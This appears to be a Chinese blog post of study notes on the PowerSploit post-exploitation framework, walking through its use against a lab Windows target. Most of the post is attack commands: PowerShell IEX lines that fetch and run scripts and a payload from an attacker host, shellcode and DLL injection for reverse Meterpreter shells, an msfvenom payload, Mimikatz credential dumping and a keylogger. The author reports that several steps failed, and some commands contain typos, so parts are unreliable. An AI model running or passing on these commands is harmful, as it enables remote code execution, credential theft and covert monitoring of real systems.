走过路过,不要错过的powersploit用法简介!

01 简介

PowerSploit是一款基于powershell的后渗透框架软件,包含很多powershell攻击脚本,主要用于渗透中的信息侦察、权限提升、权限维持,其github的地址为https://github.com/PowerShellMafia/PowerSploit

powershell的优点:
windows7以上默认安装
powershell脚本可以运行在内存中,不需要写入磁盘
可以从另一个系统中下载powershell脚本并执行
很多工具都是基于powershell开发的
很多安全软件并不能检测到powershell的活动
cmd.exe通常会被阻止运行,但是powershell不会
可以用来管理活动目录

02 PowerSploit的安装

这里通过kali下载powersploit,首先输入git命令下载程序目录
在这里插入图片描述
接着开启Apache服务

service apache2 start

把下载好的文件夹移到var/www/html目录,搭建一个简易的服务器,在网页中打开http://192.168.133.132/PowerSploit,如图:
在这里插入图片描述

03 PowersSploit脚本攻击实战

PowersSploit各类攻击脚本相当得多,本文只介绍了实战中最常见的脚本。

1 Invoke-Shellcode

CodeExecution模块下的Invoke-Shellcode脚本常用于将shellcode插入指定的进程id或本地powershell中,下面介绍两种常见的反弹meterpreter shell方法。

1.直接执行shellcode反弹meterpreter shell
001、设置监听
首先在msf里使用reverse_https 模块进行反弹,设置的内容如下:
启用后门模块exploit/multi/handler,并选择payload windows/meterpreter/reverse_https
在这里插入图片描述
002、生成载荷
在这里插入图片描述003、在目标机powershell下下载
在目标机powershell下输入以下命令下载该脚本

 IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")

在这里插入图片描述接着输入以下命令下载木马

IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/test")

在这里插入图片描述
接着在powershell下运行以下命令

扫描二维码关注公众号,回复: 11470287 查看本文章
Invoke-Shellcode -Shellcode $buf -Force

-Force的意思是不用提示,直接执行。
004、msf的监听页面成功反弹

“想象很美好,现实很骨感!上面这几步正常下来就会反弹,可是我在执行Invoke-Shellcode -Shellcode $buf -Force这句话时,疯狂报错,天哪!像疯了一样,看网上的教程也是大同小异,也没找到什么好的解决方案,于是问题暂存,而且我去看自己目标机的目录也并没有发现这两个文件啊,迷惑.jpg
如果哪位大佬知道如何解决,欢迎在评论区留言,小郝在此谢过大家!”

2、指定进程注入ShellCode反弹Meterpreter Shell
001、同样在目标机先输入以下命令:

IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/test")

002 查看系统进程
输入Get-Process命令或者ps命令查看当前进程
在这里插入图片描述003、生成新进程
输入start-process c:\Windows\System32\notepad.exe -WindowStyle Hidden创建一个新的进程,这里启动了一个记事本,并把它设置为隐藏的,在输入get-process命令查看进程,可以看到多了一个id为72976,名为notepad的进程。
在这里插入图片描述
在这里插入图片描述004 进程注入

Invoke-Shellcode -ProcessID 72976 -Shellcode($buf) -Force

005 成功反弹
msf监听界面已经成功反弹

“ok!问题一毛一样,倒数第二步报错,没有成功!”

2 Invoke-Dlllnjection

下面使用Code Execution模块下的另一个脚本Invoke-Dlllnjection,它是一个DLL注入的脚本
1 下载Invoke-Dlllnjection
同理还是下载脚本,输入以下命令

IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/CodeExecution/Invoke-DLLInjection.ps1")

在这里插入图片描述2、生成dll注入脚本
在kali中生成一个DLL注入脚本

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.133.132 lport=4444 -f dll -o /var/www/html/test.dll

在这里插入图片描述把生成的test.dll上传到目标服务器的c盘之后,就能启动一个新的进程进行dll注入,这样可以使注入更加隐蔽,使用以下命令新建一个名为notepad.exe的隐藏进程。

start-process c:\Windows\System32\notepad.exe -WindowStyle Hidden

进行注入

Invoke-DllInjection -processID 2000 -DLL  C:\test.dll

成功反弹
返回msf监听界面,在使用reverse_tcp模块进行反弹,发现反弹成功

3 Invoke-Portscan

Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也比较简单。
001 下载 Invoke-Portscan脚本

IEX (New-Object Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/Recon/Invoke-Portscan.ps1")

002 进行扫描

 Invoke-Portscan -Hosts 192.168.133.1,192.168.133.132 -Ports "80,22,3389"

在这里插入图片描述

4 Invoke-Mimikatz

Invoke-Mimikatz是Exfiltration模块下的一个脚本,它可以用来获取系统密码。
1、下载Invoke-Mimikatz脚本

IEX(New-Objection Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")

2、抓取hash

Invoke-Mimikatz -DumpCreds

推荐一篇文章:powershell + Invoke-Mimikatz.ps1获取系统密码

5 Get-Keystrokes

Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,功能相当强大,不仅仅有键盘输入记录,甚至能记录鼠标的点击情况,还能记录详细时间,实战时可以直接放入后台运行。
1、下载Get-Keystrokes脚本

IEX(New-Objection Net.WebClient).DownloadString("http://192.168.133.132/PowerSploit/Exfiltration/Invoke-Keystrokes.ps1")

2、抓取键盘记录

Get-Keystrokes -LogPath c:\test1.txt

在这里插入图片描述并没有抓取到东西呀!

04 小总结:

今天的文章就是《web安全攻防》的学习笔记和实践过程,好多都没有成功,如果哪位大佬发现了我的错误,烦请指正,继续摸爬滚打中。。。。。

猜你喜欢

转载自blog.csdn.net/qq_44108455/article/details/107652522